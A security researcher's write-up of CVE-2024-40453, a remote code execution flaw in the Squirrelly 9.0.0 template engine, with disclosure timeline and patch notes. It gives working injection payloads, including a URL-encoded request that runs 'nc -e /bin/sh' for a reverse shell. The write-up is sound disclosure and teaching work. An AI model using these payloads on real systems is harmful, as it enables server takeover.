Squirrelly v9.0.0 RCE (CVE-2024-40453)

samuzora

This is a writeup for CVE-2024-40453.

Technical details

Initial findings

When looking through the Squirrelly source code, OwOverflow pointed out this segment of code in src/compile-string.ts to me:

var res =
"var tR='';" +
(env.useWith ? 'with(' + env.varName + '||{}){' : '') +
compileScope(buffer, env) +
'if(cb){cb(null,tR)} return tR' +
(env.useWith ? '}' : '')

(env is the options parameter passed to the render function)

After following the complete function call chain (render -> handleCache -> compile -> compileString), I found that the env.varName parameter is indeed not sanitized. At first glance, this seems like an easy way to inject arbitrary JS and get RCE server-side. In order to get this exploit to work, the attacker should set env.useWith so that env.varName is injected.

The with expression is an almost-deprecated Javascript feature that allows you to execute a block of code, appending an object to the global scope chain. This is demonstrated below:

with ("asdf") {
console.log(toString()) // logs "asdf"
}

However, what is important is that we can inject an arbitrary expression into the with argument. This can easily allow us to get RCE! A simple payload would be:

// options.varName = 'console.log("x")'
with (console.log("x") || {}) {
// ...
}

This should execute the console.log("x") statement and give us RCE.

Testing

We can set up a simple server to test this out.

const express = require("express")

const PORT = 3000

const app = express()
app.set("view engine", "squirrelly")

app.get("/", (req, res) => {
res.render("asdf", req.query)
})

app.listen(3000, () => {
console.log(`Server is running at port ${PORT}`)
})

Visiting the following URL to execute our payload:

http://localhost:3000?useWith=1&varName=console.log("x")

However, if we try to do this, we get the following error:

Squirrelly Error: Bad template syntax

Arg string terminates parameters early
======================================
var tR='';tR+='asdf\n';if(cb){cb(null,tR)} return tR
at SqrlErr (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:138:15)
at compile (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:881:19)
at handleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1002:12)
at tryHandleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1035:13)
at View.renderFile [as engine] (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1064:12)
at View.render (/home/samuzora/test/node_modules/express/lib/view.js:135:8)
at tryRender (/home/samuzora/test/node_modules/express/lib/application.js:657:10)
at Function.render (/home/samuzora/test/node_modules/express/lib/application.js:609:3)
at ServerResponse.render (/home/samuzora/test/node_modules/express/lib/response.js:1048:7)
at /home/samuzora/test/index.js:9:7

What does this mean? Searching for the error message, we can see the error being raised at src/compile.ts:44:

try {
return new ctor(
options.varName,
'c', // SqrlConfig
'cb', // optional callback
compileToString(str, options)
) as TemplateFunction // eslint-disable-line no-new-func
} catch (e) {
if (e instanceof SyntaxError) {
throw SqrlErr(
'Bad template syntax\n\n' +
e.message +
'\n' +
Array(e.message.length + 1).join('=') +
'\n' +
compileToString(str, options)
)
} else {
throw e
}

The options.varName parameter is being passed to the ctor function (which is just a Function constructor). The Function constructor takes in n+1 arguments, where the first n arguments are parameters of the function to be created, and the last argument is the function body. That’s what’s causing our error, since we’re passing console.log("x") into the parameter field. This means our injection occurs in the first parameter of the new function being created, and should be a valid JS expression that can be passed in a parameter declaration. And our payload should still execute as per normal in the with expression.

First payload

Javascript allows for parameters to be destructured in the function definition like so:

function f({ a }) {
console.log(a)
// ...
}

This is done through object destructuring. It’s quite flexible and also allows for default values to be set:

function f({ a = 1 }) {
console.log(a)
}

This is the vector for our RCE. When setting the default value, the expression has to be evaluated, which we can use for RCE. Something like this should work:

function f({ a = console.log("x") }) {
console.log(a)
}

However, there’s a small problem - our payload is also being injected in the with expression, and this syntax is invalid there since it’s not a valid object initializer.

with ({ a = console.log("x") } || {}) {
// ...
}

Indeed, when we try this payload, it crashes as well:

Squirrelly Error: Bad template syntax

Invalid shorthand property initializer
======================================
var tR='';with({a=console.log("X")}||{}){tR+='asdf\n';if(cb){cb(null,tR)} return tR}
at SqrlErr (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:138:15)
at compile (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:881:19)
at handleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1002:12)
at tryHandleCache (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1035:13)
at View.renderFile [as engine] (/home/samuzora/test/node_modules/squirrelly/dist/squirrelly.cjs.js:1064:12)
at View.render (/home/samuzora/test/node_modules/express/lib/view.js:135:8)
at tryRender (/home/samuzora/test/node_modules/express/lib/application.js:657:10)
at Function.render (/home/samuzora/test/node_modules/express/lib/application.js:609:3)
at ServerResponse.render (/home/samuzora/test/node_modules/express/lib/response.js:1048:7)
at /home/samuzora/test/index.js:9:7

Luckily, according to the docs, the destructuring syntax is quite flexible and allows for a lot more kinds of syntax:

const [a, b] = array;
const [a, , b] = array;
const [a = aDefault, b] = array;
const [a, b, ...rest] = array;
const [a, , b, ...rest] = array;
const [a, b, ...{ pop, push }] = array;
const [a, b, ...[c, d]] = array;

const { a, b } = obj;
const { a: a1, b: b1 } = obj;
const { a: a1 = aDefault, b = bDefault } = obj;
const { a, b, ...rest } = obj;
const { a: a1, b: b1, ...rest } = obj;
const { [key]: a } = obj;

let a, b, a1, b1, c, d, rest, pop, push;
[a, b] = array;
[a, , b] = array;
[a = aDefault, b] = array;
[a, b, ...rest] = array;
[a, , b, ...rest] = array;
[a, b, ...{ pop, push }] = array;
[a, b, ...[c, d]] = array;

({ a, b } = obj); // parentheses are required
({ a: a1, b: b1 } = obj);
({ a: a1 = aDefault, b = bDefault } = obj);
({ a, b, ...rest } = obj);
({ a: a1, b: b1, ...rest } = obj);

The most interesting syntax is this:

({ a: a1 = aDefault, b = bDefault } = obj);

It takes the value corresponding to the a1 key in obj, and assigns it to a. If a1 is not defined then it evaluates aDefault

With this syntax, we can satisfy the with expression since it’s now a valid object initializer. It also satisfies the Function constructor since it’s simply assigning the value to a different name. So we can use this for RCE!

// valid!
with ({ a: b = console.log("x") } || {}) {
// ...
}

// valid!
new Function("{ a: b = console.log('x') }", "c", "cb", "return 1")

Let’s test out our payload with a reverse shell:

Payload: { a: b = global.process.mainModule.require("child_process").execSync("nc -e /bin/sh localhost 1337") }

http://localhost:3000?useWith=1&varName=%7B%20a:%20b%20=%20global.process.mainModule.require(%22child_process%22).execSync(%22nc%20-e%20/bin/sh%20localhost%201337%22)%20%7D

And we have RCE!

Reverse shell
Reverse shell

Better payloads

In the process of writing the report, I realized that there are easier payloads that can be used:

[ a = console.log("x") ]

This payload is valid in both the with expression and the Function constructor.

// don't set useWith=1
{ a = console.log("x") }

With this payload, we can just bypass the with expression entirely, and just inject the payload into the Function constructor.

Timeline

Note: When I first requested the CVE ID, I put my Gmail as the contact email, but didn’t receive any response. I’m pretty sure that Gmail is blocking emails from mitre.org which can’t be disabled, so I re-requested the CVE with Outlook.

  • First discovery: 28 May 2024
  • Reported to maintainer Ben Gubler: 28 May 2024
  • CVE ID requested: 30 May 2024
  • CVE ID re-requested: 1 Jul 2024
  • Fix merged: 2 Jul 2024
  • CVE ID assigned: 17 Jul 2024
  • Public disclosure: 18 Jul 2024

Remediation

The vulnerability has been patched in v9.1.0.

Comments